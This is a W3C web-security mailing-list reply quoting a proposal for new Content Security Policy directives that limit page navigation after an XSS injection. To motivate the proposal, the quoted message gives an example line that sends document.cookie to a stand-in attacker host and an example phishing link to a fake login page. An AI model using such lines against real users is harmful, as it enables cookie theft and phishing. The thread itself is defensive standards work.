Re: [CSP2] Preventing page navigation to untrusted sources

David,

 Deian Stefan has been looking at this as part of the Confinement with
Origin Web Labels deliverable on our new charter, part of which involves
extending CSP to be an effective confinement mechanism.  I believe he has
proposals he is working on to manage both navigation and origin-based
postMessage as part of this.

  There's one open PR here for the postMessage directive, but I couldn't
find anything yet on navigation:

  https://github.com/w3c/webappsec/pull/161

  Deian, can you comment?  Any progress on those proposals?

  I'm also interested in similar functionality.  Off the top of my head, I
wonder if a single "navigation-src" directive wouldn't be better, with an
optional 'allow-user-override' token or similar to allow navigation to be
triggered by user interaction, but not programmatically (as is done for
popups).

-Brad

On Tue, Apr 28, 2015 at 1:27 AM David Mulder <david.mulder@ymail.com> wrote:

> Given that an attacker has found a way to execute Javascript through an
> XSS injection `connect-src` could be a valuable tool to prevent data from
> being leaked. The problem however is that it is not possible to prevent
> page navigation like for example
>
>     *location.href = "http://evildomain.com
> <http://evildomain.com>?"+document.cookie;*
>
> It would be incredibly valuable if a website owner could limit to which
> pages his pages are allowed to link or direct in any way.
>
> This would also be valuable to prevent phishing through XSS injection
> where one would inject a stylized link trying to lure the user to a
> different domain along the lines of for example
>
>     *<a href="http://evildomain.com/fakeLoginForm.html
> <http://evildomain.com/fakeLoginForm.html>" style="background:red;">Click
> here to authorize your account against hackers</a>*
>
> And lastly it would make CSP an *incredibly* valuable tool for sandboxing
> as well. Say one is running a webmail service this would allow arbitrary
> script execution without the risk of data being leaked unexpectedly or the
> user being unexpectedly redirected.
>
> ---
>
> What I am proposing is a directive that limits any and all linking
>
>     *link-src: my-safe-domain.com <http://my-safe-domain.com>*
>
> And separately a directive that limits all script based redirection
> attempts (which would need to for example also include dispatching a click
> event on `<a>`-tags)
>
>     *script-link-src: my-safe-domain.com <http://my-safe-domain..com>*
>
> The reason two different directives would be required is that during
> sandboxing (e.g. a webmail client) one may allow links to any domains, yet
> wish to prevent the browser from automatically redirecting to *evildomain.com
> <http://evildomain.com>*. I am inclined to say that any
> `link-src` directives would need to be enforced for `script-link-src` as
> well, as I can not think of any situation where a script would be allowed
> to link to a domain where an anchor tag may not and it would prevent stupid
> mistakes where enforcement of `script-link-src` is forgotten.
>
> ---
>
> I have searched through the archives whether such a directive has been
> proposed in the past and I was not able to find anything and really hope
> you guys can see the value of such a directive.
>
>  Greetings,
>   David Mulder
>